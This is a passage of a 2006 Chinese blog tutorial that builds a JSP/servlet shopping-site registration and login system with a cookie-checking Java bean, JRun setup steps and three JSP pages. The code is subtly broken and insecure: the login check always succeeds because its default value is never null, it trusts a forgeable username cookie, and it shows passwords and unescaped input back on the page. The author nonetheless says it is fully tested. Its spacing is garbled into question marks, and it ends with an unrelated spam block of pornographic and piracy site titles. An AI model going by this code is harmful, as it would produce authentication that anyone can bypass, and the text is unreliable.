五、編寫檢測用戶是否已經登陸的bean:checkLogin.java

//checkLogin.java

//import required classes
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;

//class checkLogin
public class checkLogin
{
?public String username = "";
?
?public boolean check(HttpServletRequest req,HttpServletResponse res)
?throws IOException,ServletException
?{
? String cookieName = "username";
? Cookie[] myCookies = req.getCookies();
? this.username = this.getCookieValue(myCookies,cookieName,"not found");
? PrintWriter out = res.getWriter();
? if(this.username != null)
? {??
?? //out.println("早上好," + this.username + "!");
?? return true;
? }else{
?? out.println("登陸失敗!");
?? return false;
?? }
??
?}
?
?public String getUserName()
?{
? return this.username;
?}
?
?public static String getCookieValue(Cookie[] cookies,String cookieName,String defaultValue)
?{
? for(int i=0;i<cookies.length;i++) {
? Cookie cookie = cookies[i];
? if (cookieName.equals(cookie.getName()))
? return(cookie.getValue());
?}
? return(defaultValue);
?}
}

說明:此bean檢測cookie中的username,若不為空則說明已登錄,反之說明沒有登錄。方法不夠完善,您可以自行擴充。

?


六、在JRun中建立shopping服務器
打開JRun Administrator,新建shopping服務器,這里端口為8101。
將上文所述所有編譯后的class文件連同org包拷至JRun的shopping服務器所在目錄中的classes文件夾下,路徑為:


C:\JRun4\servers\shopping\default-ear\default-war\WEB-INF\classes\

七、建立jsp文件
應用DW,在C:\JRun4\servers\shopping\default-ear\default-war\目錄下新建如下的jsp文件:
index.jsp


<%@ page contentType="text/html;charset=gb2312" pageEncoding="gb2312" %>
<html>
<head>
<title>Shopping123</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="styles/shoppingstyle.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0">
<jsp:useBean id="checklogin" class="checkLogin" scope="page"/>
<%
?boolean login = checklogin.check(request,response);
%>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
? <tr bgcolor="#990000">
??? <td height="80" colspan="5"><table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
??????? <tr>
????????? <td width="120">&nbsp;</td>
????????? <td class="caption">Shopping123</td>
????????? <td width="200">&nbsp;</td>
??????? </tr>
????? </table></td>
? </tr>
? <tr>
??? <td width="200" align="center" valign="top"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
??????? <tr>
????????? <td>&nbsp;</td>
??????? </tr>
????? </table>
?? <%
??? if(!login){
?? %>
????? <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
?? <form name="form1" method="post" action="/servlet/login">
??????? <tr align="center" bgcolor="#CCCCCC">
????????? <td height="30" colspan="2" class="deepred">賣場入口</td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">會員</td>
????????? <td align="center" bgcolor="#FFFFFF"><input name="username" type="text" id="username" size="10"></td>
??????? </tr>
??????? <tr>
????????? <td height="24" align="center" bgcolor="#FFFFFF">密碼</td>
????????? <td align="center" bgcolor="#FFFFFF"><input name="password" type="text" id="password" size="10"></td>
??????? </tr>
??????? <tr>
????????? <td height="24" align="center" bgcolor="#FFFFFF"><a href="reg.jsp" target="_blank" class="red">注冊</a></td>
????????? <td align="center" bgcolor="#FFFFFF"><input type="submit" name="Submit" value="進入"></td>
??????? </tr>
? </form>
????? </table>
?? <%
??? }
? else
? {
?? out.println("您好," + checklogin.getUserName() + "!");
? }
?? %>
?? </td>
?<td width="1" valign="top" bgcolor="#CCCCCC"></td>
??? <td width="400">&nbsp;</td>
?<td width="1" valign="top" bgcolor="#CCCCCC"></td>
??? <td width="200">&nbsp;</td>
? </tr>
? <tr align="center" bgcolor="#990000">
??? <td height="60" colspan="5" class="white">copyright&copy; 2003 Shopping123</td>
? </tr>
</table>
</body>
</html>


reg.jsp<%@ page contentType="text/html;charset=gb2312" pageEncoding="gb2312" %>
<html>
<head>
<title>Shopping123</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="styles/shoppingstyle.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0">
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
? <tr bgcolor="#990000">
??? <td height="80" colspan="5"><table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
??????? <tr>
????????? <td width="120">&nbsp;</td>
????????? <td class="caption">Shopping123</td>
????????? <td width="200">&nbsp;</td>
??????? </tr>
????? </table></td>
? </tr>
? <tr>
??? <td width="100" align="center" valign="top">&nbsp;</td>
??? <td width="1" valign="top"></td>
??? <td width="400" align="center" valign="top"><table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
??????? <tr>
????????? <td>&nbsp;</td>
??????? </tr>
????? </table>
????? <table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
?? <form action="regpost.jsp" method="post" name="form1">
??????? <tr align="center">
????????? <td height="30" colspan="2" bgcolor="#CCCCCC" class="deepred">會員注冊</td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">會員</td>
????????? <td align="center" bgcolor="#FFFFFF"><input name="username" type="text" id="username" size="16"></td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">密碼</td>
????????? <td align="center" bgcolor="#FFFFFF"><input name="password" type="password" id="password" size="16"></td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">驗證密碼</td>
????????? <td align="center" bgcolor="#FFFFFF"><input name="confirm" type="password" id="confirm" size="16"></td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">E-mail</td>
????????? <td align="center" bgcolor="#FFFFFF"><input name="email" type="text" id="email" size="16"></td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF"><input type="submit" name="Submit" value="重寫"></td>
????????? <td align="center" bgcolor="#FFFFFF"><input type="submit" name="Submit2" value="注冊"></td>
??????? </tr>
? </form>
????? </table></td>
??? <td width="1" valign="top"></td>
??? <td width="100">&nbsp;</td>
? </tr>
? <tr align="center" bgcolor="#990000">
??? <td height="60" colspan="5" class="white">copyright&copy; 2003 Shopping123</td>
? </tr>
</table>
</body>
</html>
?regpost.jsp:注冊表單提交頁面<%@ page contentType="text/html;charset=gb2312" pageEncoding="gb2312" %>
<%@ page import="reg"%>
<html>
<head>
<title>Shopping123</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link href="styles/shoppingstyle.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#FFFFFF" leftmargin="0" topmargin="0">
<%
?String username = new String(request.getParameter("username").getBytes("ISO8859_1")).trim();
?String password = new String(request.getParameter("password").getBytes("ISO8859_1")).trim();
?String confirm = new String(request.getParameter("confirm").getBytes("ISO8859_1")).trim();
?String email = new String(request.getParameter("email").getBytes("ISO8859_1")).trim();
%>
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
? <tr bgcolor="#990000">
??? <td height="80" colspan="5"><table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
??????? <tr>
????????? <td width="120">&nbsp;</td>
????????? <td class="caption">Shopping123</td>
????????? <td width="200">&nbsp;</td>
??????? </tr>
????? </table></td>
? </tr>
? <tr>
??? <td width="100" align="center" valign="top">&nbsp;</td>
??? <td width="1" valign="top"></td>
??? <td width="400" align="center" valign="top">
<table width="100%" height="20" border="0" cellpadding="0" cellspacing="0">
??????? <tr>
????????? <td>&nbsp;</td>
??????? </tr>
????? </table>
<jsp:useBean id="regID" class="reg" scope="session"/>
<%
?if(regID.reg(username,password,confirm,email))
?{
? out.print("ok");
? String newID = regID.getID() + "";
%>
????? <table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
??????? <tr align="center">
????????? <td height="30" colspan="2" bgcolor="#CCCCCC" class="deepred">恭喜您,注冊成功!</td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">編號</td>
????????? <td align="center" bgcolor="#FFFFFF"><%=newID%></td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">會員</td>
????????? <td align="center" bgcolor="#FFFFFF"><%=username%></td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">密碼</td>
????????? <td align="center" bgcolor="#FFFFFF"><%=password%></td>
??????? </tr>
??????? <tr>
????????? <td width="50%" height="24" align="center" bgcolor="#FFFFFF">E-mail</td>
????????? <td align="center" bgcolor="#FFFFFF"><%=email%></td>
??????? </tr>
????? </table>
<%
? out.print("<br>");
? out.print("<a href=javascript:window.close()>關閉</a>");
?}else{
? out.print("注冊失敗!<br>");
? out.print("該用戶名已有人使用,請使用另外的用戶名!");
? out.print("<a href=javascript:history.go(-1)>返回</a>");
?}
%>
?? </td>
??? <td width="1" valign="top"></td>
??? <td width="100">&nbsp;</td>
? </tr>
? <tr align="center" bgcolor="#990000">
??? <td height="60" colspan="5" class="white">copyright&copy; 2003 Shopping123</td>
? </tr>
</table>
</body>
</html>
?至此,我們已經完成了一個用戶注冊、登錄的系統。 因為這是本人自己邊學邊做完成的,所以代碼一定有很多不完善的地方,歡迎大家批評指正。 以上所有代碼均經本人測試通過。



JAVA之路 2006-05-01 17:32 發表評論
]]>
主站蜘蛛池模板: 男女拍拍拍免费视频网站| 久久久婷婷五月亚洲97号色 | 亚洲国产精品成人综合色在线| 亚洲春色另类小说| 亚洲精品美女在线观看| 99ri精品国产亚洲| 亚洲午夜电影一区二区三区| 亚洲第一页在线视频| 亚洲人成毛片线播放| 亚洲国产精品一区二区三区在线观看 | 国产高清不卡免费视频| 免费黄网站在线观看| 最近中文字幕完整免费视频ww| 99久久国产免费-99久久国产免费| 一级毛片在线免费看| 蜜臀98精品国产免费观看| 人与禽交免费网站视频| 夜夜爽免费888视频| 国产一区二区三区免费看| 亚洲偷自拍拍综合网| 亚洲av永久无码制服河南实里| 亚洲免费在线播放| 久久久久se色偷偷亚洲精品av| 亚洲精华国产精华精华液好用| 立即播放免费毛片一级| 国产精品美女久久久免费| 日本亚洲欧洲免费天堂午夜看片女人员 | 亚洲国产美国国产综合一区二区 | 久久99亚洲网美利坚合众国| 亚洲精品123区在线观看| 边摸边吃奶边做爽免费视频99| a毛片免费全部在线播放**| ZZIJZZIJ亚洲日本少妇JIZJIZ| a级亚洲片精品久久久久久久 | 国产免费观看网站| 久久久久亚洲精品男人的天堂| 亚洲人成电影亚洲人成9999网| 亚洲va久久久久| 国产精品极品美女自在线观看免费 | 风间由美在线亚洲一区| 91视频免费网站|